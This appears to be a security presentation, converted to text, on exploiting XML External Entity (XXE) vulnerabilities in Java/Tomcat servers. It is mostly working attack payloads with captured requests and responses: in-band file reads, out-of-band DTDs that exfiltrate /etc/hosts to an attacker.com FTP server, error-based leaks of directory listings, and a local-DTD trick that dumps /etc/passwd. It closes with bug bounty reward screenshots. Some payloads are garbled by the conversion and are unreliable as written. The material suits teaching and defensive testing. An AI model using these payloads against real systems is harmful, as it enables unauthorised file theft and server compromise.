POST /doLogin HTTP/1.1
Host: 192.168.0.155:8080
Content-Length: 76
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://192.168.0.155:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Referer: http://192.168.0.155:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8
Connection: close

<user><username>username</username><password>wrongpassword</password></user>
```


Response

Raw Headers Hex XML

```
HTTP/1.1 200
Content-Type: text/xml; charset=UTF-8
Content-Length: 50
Date: Mon, 06 Jan 2020 16:08:06 GMT
Connection: close

<result><code>0</code><msg>username</msg></result>
```

TESTING FOR XXE



The screenshot shows the 'Request' tab in Burp Suite. The raw request is as follows:

```
POST /xxe/lab3/login3 HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY name "admin">
]>
<root>
<username>
&name;
</username>
<password>
admin
</password>
</root>
```

- Initially try replacing text node with general entities in the XML body and check if response is still the same which confirms entities are substituted.
- Construct an XML request with a **SYSTEM/PUBLIC** entity keyword pointing to Burp Collaborator URL & check for the hits
- If the request body is accepting JSON, convert JSON to XML and check the response if its parsing and returning Normal/200 OK responses
- Convert Content-Type from application/json to text/xml or application/xml etc. and check if any kind of XML parsing happens

Cheatsheet for XXE:

<https://securityidiots.com/Web-Pentest/XXE/XXE-Cheat-Sheet-by-SecurityIdiots.html>

XXE: COMMON TECHNIQUES

InBand XXE: Ability to read any local resources on the vulnerable server in the response itself.

```
<?xml version="1.0"?>           ← XML Declaration Header  
<!DOCTYPE test [             ← Declaring a dummy !DOCTYPE Element  
  <!ENTITY xx SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">    ← Creating an  
]>                                External Entity  
<user><username>&xx;</username><password>etst</password></user>      "xx" referencing to  
                                                               "hosts" file  
                                                               location
```

Substituting our General Entity "xx"

INBAND XXE

Request

Raw Params Headers Hex XML

```
POST /doLogin HTTP/1.1
Host: 192.168.0.155:8080
Content-Length: 76
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://192.168.0.155:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/xml; charset=UTF-8
Referer: http://192.168.0.155:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8
Connection: close

<user><username>username</username><password>wrongpassword</password></user>
```

Response

Raw Headers Hex XML

```
HTTP/1.1 200
Content-Type: text/xml; charset=UTF-8
Content-Length: 50
Date: Mon, 06 Jan 2020 16:08:06 GMT
Connection: close

<result><code>0</code><msg>username</msg></result>
```

Note that username element's value
is reflected as is from the request

Cheatsheet for XXE:

<https://securityidiots.com/Web-Pentest/XXE/XXE-Cheat-Sheet-by-SecurityIdiots.html>

INBAND XXE

Request

Raw Params Headers Hex XML

```
POST /doLogin2 HTTP/1.1
Host: 192.168.0.155:8080
Content-Length: 178
Accept: application/xml, text/xml, */*, q=0.01
Origin: http://192.168.0.155:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Referer: http://192.168.0.155:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8
Connection: close

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xx SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
!>
<user><username>&xx;</username><password>etst</password></user>
```

Response

Raw Headers Hex XML

```
HTTP/1.1 200
Content-Type: text/xml;charset=UTF-8
Content-Length: 1238
Date: Mon, 06 Jan 2020 15:49:30 GMT
Connection: close

<result><code>0</code><msg># Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97      rhino.acme.com      # source server
#      38.25.63.10      x.acme.com          # x client host

# localhost name resolution is handled within DNS itself.
#      127.0.0.1      localhost
#      ::1            localhost
```

XXE: COMMON TECHNIQUES

- Out-Of-Band XXE:** Ability to exfiltrate any local resources on the vulnerable server to an attacker controller server.

Request

Raw Params Headers Hex XML


```
POST /doLogin HTTP/1.1
Host: 192.168.0.155:8080
Content-Length: 184
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://192.168.0.155:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/xml; charset=UTF-8
Referer: http://192.168.0.155:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8
Connection: close

<?xml version="1.0"?>
<!DOCTYPE test [
<!ELEMENT * xx SYSTEM "http://attacker.com/xxe2.dtd">
%xx;
%param1;
]%
<user><username>&exfil;</username><password>test</password></user>
```

```
root@pentest:/# ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_92@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< bin:x:1:1:bin:
> 230 more data please!
< CWD bin:
> 230 more data please!
< CWD sbin
> 230 more data please!
< CWD nologin
> 230 more data please!
< daemon:x:2:2:daemon:
> 230 more data please!
< CWD sbin:
> 230 more data please!
< CWD sbin
> 230 more data please!
< CWD nologin
```




OUT-OF-BAND XXE #1



attacker.com/xxe.dtd


```
2. <!ENTITY % data SYSTEM "file:///etc/hosts">
3. <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/_%data;'>">
```

We can extract any file say `/etc/hosts` over **FTP** since Java disallowed sending illegal characters(\r\n etc.) in HTTP request from Java 1.5



```
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
1. %sp; This should be substituted by
4. %param1; xxe.dtd contents
]>
5. <user><username>&exfil;</username><password>etst</password></user>
```

OUT-OF-BAND XXE #2



A screenshot of a web browser window. The address bar shows "attacker.com/xxe.dtd". The page content displays XML code:

```
<!ENTITY % data SYSTEM "file:///etc/hosts">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'file:///xxxx/_%data;'>">
```

In the Latest JAVA Version even FTP doesn't allow sending illegal characters anymore. However, when server errors are enabled, we can use Server Errors to throws the file contents in the error.




Diagram illustrating the substitution of a character entity reference (%sp) with its corresponding value (the contents of xxe.dtd). A red box highlights "%sp" in the XML code. A blue arrow points from this box to the text "This should be substituted by xxe.dtd contents" below it.

```
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
%sp;           This should be substituted by
%param1;       xxe.dtd contents
]>
<user><username>&exfil;</username><password>etst</password></user>
```

OUT-OF-BAND XXE #2

Causing **FileNotFoundException** to leak file/directory Contents of file:/// which is C:\ in Windows

Request

Raw Headers Params Hex XML

```
POST /doLogin HTTP/1.1
Host: 192.168.0.155:8080
Content-Length: 194
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://192.168.0.155:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Referer: http://192.168.0.155:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ru;q=0.8
Connection: close

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % xx SYSTEM "http://attacker.com/xxe2.dtd"
%xx;
%param1;
]>
<user><username>hexfil</username><password>test</password></user>
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 500
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 3019
Date: Sat, 11 Jan 2020 16:53:39 GMT
Connection: close

</doctype html><html lang="en"><head><title>HTTP Status 500 - Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif}; h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px; margin-bottom:10px; font-weight:bold; color:white; background-color:#525D76; border-radius:12px; padding:10px; text-align:center; border:none;} a {color:black;} .line {background-color:#525D76; border:none;} /></style></head><body><h1>HTTP Status 500 - Internal Server Error</h1><hr class="line" /><p><b>Type:</b>/> Exception Report</p><p><b>Message:</b>/><test>_SRecycle.Bin</p><p><b>Description:</b>/> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception:</b>/><p><code>java.io.FileNotFoundException: \test\SRecycle.Bin</code></p><pre>adb
Custom Production Presets 9.0
Dell
Documents and Settings
Go
Intel
IntelOptaneData
MSOCache
My Web Sites
OneDriveTemp
pagefile.sys
PerfLogs
ProgramData
Program Files
Program Files (x86)
Recycle
swapfile.sys
System Volume Information
User Manual
Users
Windows
xampp (The system cannot find the path specified)
java.io.FileInputStream.open0(Native Method)
```

attacker.com/xxe2.dtd

```
<!ENTITY % data SYSTEM "file:///"/>
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'file:///test/_%data;' >">
```

OUT-OF-BAND XXE

```
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
<!ENTITY % data SYSTEM "file:///etc/hosts">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/ %data;'>">
%param1;           ← This will be further substituted by “exfil” Entity
]>
<user><username>sexfil;</username><password>etst</password></user>
```

→ xxе.dtd Contents

Doing this should send the file contents to attacker's FTP server


BUT?? LIMITATION?

```
HTTP/1.1 200
Content-Type: text/xml;charset=UTF-8
Content-Length: 143
Date: Wed, 08 Jan 2020 20:49:12 GMT
Connection: close

<result><code>3</code><msg>The parameter entity reference "%data;" cannot occur within markup in the internal subset of the DTD.</msg></result>
```

WHAT IF THERE IS AN EGRESS FILTERING?

- Out-Of-Band HTTP requests are blocked by firewall
- Only DNS queries are made
- Cannot utilize externally hosted payload




OUT-OF-BAND XXE #3

- File Upload on Domain/Subdomain:
- SSRF on Domain/Subdomain
- **Internal Local DTD includes:**
A neat trick which can help to exploit XXE in worst cases using internal DTD files present on the server

LOCAL DTD TECHNIQUE

- Softwares create lot of DTD files by default when installed
- Utilize the already existing DTDs on the local filesystem
- Overwrite parameter entities present inside the local DTDs
- Balance the overwritten Entities where it is called
- Insert payload as you would do in OOB Technique(xxe.dtd)

XXE CASE STUDY AND LABS



EXPLOITING LOCAL DTDs

1. Identify Softwares/Tools/Platform based on the Verbose XML Parser Errors

The screenshot shows a web application interface with three main sections: Request, Response, and Converted text.

Request:

```
POST /xelab3/login3 HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

<!DOCTYPE root [
  <!ENTITY test SYSTEM "non existing">
]>

<root>
  <username>
    &test;
  </username>
</root>
```

A red box highlights the entity reference `&test;` in the XML payload.

Response:

```
</p>
<p>
  <b>Description</b>
</p>
<p>The server encountered an unexpected condition that prevented it from fulfilling the request.</p>
<p>
  <b>Exception</b>
</p>
<pre>
java.io.FileNotFoundException: /usr/local/tomcat/non existing (No such file or directory)
java.base&#47;java.io.FileInputStream.<init>(Native Method)
java.base&#47;java.io.FileInputStream.open(FileInputStream.java:219)
java.base&#47;java.io.FileInputStream.<init>(<FileInputStream.java:157)
java.base&#47;java.io.FileInputStream.<init>(<FileInputStream.java:112)
java.base&#47;sun.net.www.protocol.file.FileURLConnection.connect(FileURLConnection.java:86)

```

Converted text:

```
java.io.FileNotFoundException: /usr/local/tomcat/non existing (No such file or directory)
```

A red box highlights the error message in the converted text window.

Non-existing directory is provided

Server throws an error with Full Path to Application Server which reveals “Tomcat” is running on Linux

EXPLOITING LOCAL DTDs

2. Install a local copy of the Identified server(Tomcat) or check source on Github etc. if open source and look/search for existing DTD files manually or use the following repo which lists DTD files present on some very popular and common applications

https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files.txt

https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files_jars.txt (JAR Files containing DTDs)

```
11 /opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd  
12 /usr/Local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd
```

3. Based on the list above if you are able to confirm the existence of a DTD file or a JAR file containing DTDs on Tomcat's local copy next step is to confirm its presence on the target server

EXPLOITING LOCAL DTDs

```
root@ac3c4652c38c:/usr/local/tomcat# find ~+ -type f -name *.jar
/usr/local/tomcat/bin/tomcat-juli.jar
/usr/local/tomcat/bin/bootstrap.jar
/usr/local/tomcat/bin/commons-daemon.jar
/usr/local/tomcat/lib/tomcat-i18n-es.jar
/usr/local/tomcat/lib/jasper-el.jar
/usr/local/tomcat/lib/catalina-tribes.jar
/usr/local/tomcat/lib/tomcat-jni.jar
/usr/local/tomcat/lib/ecj-4.15.jar
/usr/local/tomcat/lib/catalina.jar
/usr/local/tomcat/lib/el-api.jar
/usr/local/tomcat/lib/servlet-api.jar
/usr/local/tomcat/lib/tomcat-i18n-pt-BR.jar
/usr/local/tomcat/lib/tomcat-i18n-cs.jar
/usr/local/tomcat/lib/tomcat-i18n-de.jar
/usr/local/tomcat/lib/tomcat-util-scan.jar
/usr/local/tomcat/lib/tomcat-i18n-ko.jar
/usr/local/tomcat/lib/tomcat-api.jar
/usr/local/tomcat/lib/tomcat-i18n-ru.jar
/usr/local/tomcat/lib/tomcat-i18n-zh-CN.jar
/usr/local/tomcat/lib/tomcat-i18n-ja.jar
/usr/local/tomcat/lib/tomcat-jdbc.jar
/usr/local/tomcat/lib/annotations-api.jar
/usr/local/tomcat/lib/catalina-ssi.jar
/usr/local/tomcat/lib/catalina-ant.jar
/usr/local/tomcat/lib/jsp-api.jar
/usr/local/tomcat/lib/jasper.jar
/usr/local/tomcat/lib/tomcat-coyote.jar
/usr/local/tomcat/lib/tomcat-dbcp.jar
```

EXPLOITING LOCAL DTDs

- The identified JAR file containing DTD(s) “`/usr/local/tomcat/lib/jsp-api.jar`” exists on the server as no file system errors were thrown

Request	Response
<pre>Raw Params Headers Hex</pre> <pre>1 POST /xxelab3/login3 HTTP/1.1 2 Host: localhost:8081 3 Accept-Encoding: gzip, deflate 4 Accept: */* 5 Accept-Language: en 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 7 Connection: close 8 Content-Type: application/x-www-form-urlencoded 9 Content-Length: 159 10 11 <?xml version="1.0"?> 12 <!DOCTYPE root [13 <!ENTITY xxe SYSTEM "file:///usr/local/tomcat/lib/jsp-api.jar" > %xxe; 14]> 15 <root> 16 <username>test</username> 17 </root></pre>	<pre>Raw Headers Hex</pre> <pre>1 HTTP/1.1 200 2 Content-Type: text/xml; charset=UTF-8 3 Content-Length: 49 4 Date: Fri, 21 Aug 2020 12:20:13 GMT 5 Connection: close 6 7 <result> 8 <code> 9 0 10 </code> 11 <msg> 12 Failure 13 </msg> 14 </result></pre>

EXPLOITATION

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "&file:///usr/local/tomcat/lib/jsp-api.jar" >
%xxe;
]>
<root>
<username>test</username>
</root>
```

5. JAR file is nothing but an archive; on your local copy you can extract it

```
11 /opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
12 /usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd
```

6. Based on the previous list we can see **jspxml.dtd** is present in **/javax/servlet/jsp/resources/** directory inside **jsp-api.jar archive** on our machine

```
root@ac3c4652c38c:/tmp# unzip jsp-api.jar
Archive: jsp-api.jar
  creating: META-INF/
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/LICENSE
  inflating: META-INF/NOTICE
  creating: javax/
  creating: javax/servlet/
  creating: javax/servlet/jsp/
  inflating: javax/servlet/jsp/ErrorData.class
  inflating: javax/servlet/jsp/HttpJspPage.class
  inflating: javax/servlet/jsp/JspApplicationContext.class
  inflating: javax/servlet/jsp/JspContext.class
  inflating: javax/servlet/jsp/JspEngineInfo.class
  inflating: javax/servlet/jsp/JspException.class
  inflating: javax/servlet/jsp/JspFactory.class
  inflating: javax/servlet/jsp/JspPage.class
  inflating: javax/servlet/jsp/JspTagException.class
  inflating: javax/servlet/jsp/JspWriter.class
  inflating: javax/servlet/jsp/PageContext.class
  inflating: javax/servlet/jsp/SkipPageException.class
  creating: javax/servlet/jsp/el/
  inflating: javax/servlet/jsp/el/ELEException.class
  inflating: javax/servlet/jsp/el/ELParseException.class
  inflating: javax/servlet/jsp/el/Expression.class
  inflating: javax/servlet/jsp/el/ExpressionEvaluator.class
  inflating: javax/servlet/jsp/el/FunctionMapper.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolver$1.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$1.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$10.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$2.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$3.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$4.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$5.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$6.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$7.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$8.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeManager$9.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolver$ScopeManager.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeMap$ScopeEntry.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolversScopeMap.class
  inflating: javax/servlet/jsp/el/ImplicitObjectELResolver.class
  inflating: javax/servlet/jsp/el/ScopedAttributeELResolver.class
  inflating: javax/servlet/jsp/el/VariableResolver.class
  creating: javax/servlet/jsp/resources/
  inflating: javax/servlet/jsp/resources/ispxml.dtd
```

EXPLOITATION

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM
"jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd" >
%xxe;
]>
<root>
<username>test</username>
</root>
```

7. To access content inside JAR files we need to have support for "jar" protocol which is available in JAVA based servers

Syntax:

jar:<protocol>://<host>/path/file.jar!/path/dir1/dir2/file.dtd

jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd

The screenshot shows a network traffic capture interface with two panels: Request and Response.

Request Panel:

- Raw tab selected.
- POST /xxelab3/login3 HTTP/1.1
- Host: localhost:8081
- Accept-Encoding: gzip, deflate
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 205

```
1 POST /xxelab3/login3 HTTP/1.1
2 Host: localhost:8081
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
7 Connection: close
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 205
10
11 <?xml version="1.0"?>
12 <!DOCTYPE root [
13 <!ENTITY % xxe SYSTEM
14 "jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd" >
15 %xxe;
16 ]>
17 <root>
18 <username>test</username>
19 </root>
```

Response Panel:

- Raw tab selected.
- HTTP/1.1 200
- Content-Type: text/xml; charset=UTF-8
- Content-Length: 49
- Date: Fri, 21 Aug 2020 12:45:45 GMT
- Connection: close

```
1 HTTP/1.1 200
2 Content-Type: text/xml; charset=UTF-8
3 Content-Length: 49
4 Date: Fri, 21 Aug 2020 12:45:45 GMT
5 Connection: close
6
7 <result>
8   <code>
9     0
10    </code>
11    <msg>
12      Failure
13    </msg>
14  </result>
```

EXPLOITATION

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM
"jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
%xxe;
]>
<root>
<username>test</username>
</root>
```

8. Open the identified DTD file and search for:

1. Definition of some parameter entity
2. Summoning/calling of the same parameter entity somewhere in the file

```
82 <!ENTITY % Body "(jsp:text|%Directives;|%Scripts;|%Actions;)*">           → Definition of Body
83
84
85 <!-- ===== Elements ===== -->
86
87 <!-- Root element of a JSP page.
88 -->
89 <!ELEMENT jsp:root %Body;>           → Body entity is
90 <!ATTLIST jsp:root
91   xmlns:jsp      CDATA          "http://java.sun.com/JSP/Page"
92   version        CDATA          "#REQUIRED"
93 >
```

EXPLOITATION

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM
"jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
%xxe;
]>
<root>
<username>test</username>
</root>
```

9. In our XXE payload we can include this local DTD and rewrite **Body** entity
10. The Contents of overwritten entity would be substituted here so simply balance the
`<!ELEMENT jsp:root {{HERE}} >`

```
82  <!ENTITY % Body "(jsp:text|%Directives;|%Scripts;|%Actions;)*">
83
84
85  <!-- ===== Elements ===== -->
86
87  <!-- Root element of a JSP page.
88  -->
89  <!ELEMENT jsp:root %Body;>
90  <!ATTLIST jsp:root
91    xmlns:jsp      CDATA          "http://java.sun.com/JSP/Page"
92    version       CDATA          #REQUIRED
93  >
```

Body entity is substituted here

EXPLOITATION

11. Adding this to the XXE payload

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM
"jar:file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '<test>WE CONTROL HERE</test>'>
'>
%xxe;
]>
<root>
<username> test123 </username>
</root>
```

```
<!ENTITY % Body '<test>We Control Internal DTD Here</test>'>
```

while parsing would result something like:

```
82  <!ENTITY % Body "(jsp:text|%Directives;|%Scripts;|%Actions;)*">
83
84
85  <!-- ===== Elements ===== -->
86
87  <!-- Root element of a JSP page.
88  -->
89  <!ELEMENT jsp:root (test)>We Control Internal DTD Here<!ENTITY x "Test">
```

Body entity is
substituted here

EXPLOITATION

- **Summary:**

- We Identified a JAR file(**jsp-api.jar**) in one of the installed softwares on the target(Tomcat)
- JAR file containing a DTD file(**jspxml.dtd**) could be accessed using jar: protocol
- We can overwrite "**% Body**" parameter entity and control the contents inside the local DTD file during XML parsing

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM
"jar:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jjspxml.dtd">
<!ENTITY % Body '<test>WE CONTROL HERE</test>'>
'>
%xxe;
]>
<root>
<username> test123 </username>
</root>
```

- **Next:**

- Insert properly HTML encoded XML payload same as the one we used in OOB FileNotFoundException trick

EXPLOITATION

```
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent%file;'">>
```

- % is Hex-HTML Encoded to %
- ' is Hex-HTML Encoded to ';

Request

Raw Params Headers Hex

```
1 POST /xxelab3/login3 HTTP/1.1
2 Host: localhost:8081
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
7 Chrome/69.0.4109.116 Safari/537.36
8 Connection: close
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 440
11 <xsl:version="1.0"?>
12 <!DOCTYPE root [
13 <!ENTITY % xxe SYSTEM
14 "jar://:/usr/local/tomcat/lib/jsp-api.jar!javax/servlet/jsp/resources/jspxml.dtd" >
15 <!ENTITY % Body '<test>'>
16 <!--&#x25; file SYSTEM "file:///etc/passwd">
17 <!--&#x25; eval "<!ENTITY error SYSTEM &#x27; file:///abcxyz/&#x25;file;&#x27;}>">
18 <!--&#x25;-->
19 <!--&#x25;-->
20 'x;
21 <!--&#x25;-->
22 <!--&#x25;-->
23 <!--&#x25;-->
24 <!--&#x25;-->
25 <!--&#x25;-->
26 <!--&#x25;-->
27 <!--&#x25;-->
```

Response

Raw Headers Hex Render

```
</p>
<p>
<b>Message</b>
<br>abcxyz#47;abcxyz#47;root:x:0:0:root:/bin/bash
<br>daemon:x:1:1:daemon:/sbin/nologin
<br>bogususer:x:100:nobody
<br>nologin:x:3:3:sys:/dev/usr/sbin/nologin
<br>sync:x:4:65534:sync:/bin/sync
<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin
<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<br>lpx:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
<br>proxy:x:13:18:proxy:/bin:/usr/sbin/nologin
<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<br>gnats:x:41:41:Gnats Bug-Reporting System
<br>admin:/var/lib/gnats:/usr/sbin/nologin
<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
<br>apt:x:100:65534::nonexistent:/usr/sbin/nologin (No such file or directory)
```

Converted text

Copy to clipboard Close

Contents of /etc/passwd listed

0 matches In Pretty

```
abcxyz#47;abcxyz#47;root:x:0:0:root:/bin/bash
daemon:x:1:1:daemon:/sbin/nologin
bogususer:x:100:nobody
nologin:x:3:3:sys:/dev/usr/sbin/nologin
sync:x:4:65534:sync:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lpx:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:18:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin:/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin (No such file or directory)
apt:x:100:65534::nonexistent:/usr/sbin/nologin (No such file or directory)
```

EXPLOITATION

```
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent%file;'">>
```

Request

Raw Params Headers Hex

```
1 POST /xelab3/login3 HTTP/1.1
2 Host: localhost:8081
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
7 Chrome/69.0.4109.116 Safari/537.36
8 Connection: close
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 440
11 <?xml version="1.0"?>
12 <!DOCTYPE root [
13 <!ENTITY % xxe SYSTEM
14 "jar:///usr/local/tomcat/lib/jsp-api.jar!javax/servlet/jsp/resources/jspxml.dtd" >
15 <!ENTITY % Body '<test>'>
16 <!ENTITY %>
17 <!ENTITY %> file SYSTEM "file:///etc/passwd">
18 <!ENTITY %> eval "<!ENTITY error SYSTEM %>2; file:///abcxyz/&x25;file;&x27;>">
19 <!ENTITY x "Test"
20 '>
21 <xxe;
22 >
23 >
24 <root>
25 <username>error;</username>
26 </root>
```

2.

Status	Status
Unresolved	Unresolved
This submission has been accepted as a valid issue. Congratulations!	
Reward	Reward
\$1,500	\$3,000
40 points	40 points

